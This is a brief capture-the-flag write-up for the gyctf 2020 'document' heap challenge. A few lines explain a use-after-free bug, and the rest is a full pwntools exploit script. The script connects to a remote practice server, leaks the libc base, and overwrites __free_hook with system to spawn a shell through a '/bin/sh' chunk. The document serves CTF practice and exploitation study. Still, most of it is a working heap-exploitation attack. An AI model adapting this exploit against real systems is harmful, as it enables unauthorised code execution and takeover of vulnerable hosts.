gyctf_ 2020_ document

Loopholes ： There is uaf

Use ideas ： adopt free fall size by 0x90 A pile of , then add, This will cut free Dropped chunk, As a new chunk Control structure of , At this point, we are concerned about these chunk Structure has write permission , So it's written as free_hook that will do .

exp：

from pwn import *
from LibcSearcher import *
# r = process("./document")
r = remote('node4.buuoj.cn',29119)
e = ELF("./document")
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
libc = e.libc
libc = ELF('./buu2.23.so')
r.timeout = 0.5
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims			    :r.recvuntil(delims)
uu32    = lambda data               :u32(ru(data)[-4:].ljust(4, b'\0'))
uu64    = lambda data               :u64(ru(data)[-6:].ljust(8, b'\0'))
info_base = lambda tag, base        :r.info(tag + ': {:#x}'.format(base))
leak = lambda name,base :log.success('{} = {:#x}'.format(name, base))

def dbg(cmd):
	gdb.attach(r,cmd)
	pause()

def add():
	ru(b'Give me your choice :')
	sl(b'1')
	ru(b'input name')
	se(b'/bin/sh\x00'.ljust(8,b'\x00'))
	ru(b'input sex')
	se(b'W')
	ru(b'input information')
	se(b'/bin/sh\x00'.ljust(8,b'\x00')*14)

def edit(index,desc):
	ru(b'Give me your choice :')
	sl(b'3')
	ru(b'Give me your index :')
	sl(str(index).encode())
	ru(b'Are you sure change sex?')
	se(b'Y')
	ru(b'Now change information')
	se(desc)
def delete(index):
	ru(b'Give me your choice :')
	sl(b'4')
	ru(b'Give me your index :')
	sl(str(index).encode())

def show(index):
	ru(b'Give me your choice :')
	sl(b'2')
	ru(b'Give me your index :')
	sl(str(index).encode())

add()#0
add()#1

delete(0)

show(0)
base = uu64(b'\x7f') - 0x3c4b78
leak('base',base)
free_hook = base + 0x3c67a8
leak('free_hook',free_hook)
sys = base + libc.sym['system']

shell = [0x45226,0x4527a,0xf03a4,0xf1247]

add()#2
add()#3
pl1 = b'a'*0x8 + p64(0x21) + p64(free_hook-0x10) + p64(0x1)
pl1 += b'a'*0x8 + p64(0x51) + b'a'*0x40
edit(0,pl1)
pl2 = p64(sys) + b'/bin/sh\x00'.ljust(8,b'\x00') + p64(0x0000000100000000) + b'\x00'*0x58
edit(3,pl2)
# leak('hook',base+shell[0])
# add()
delete(2)



r.interactive()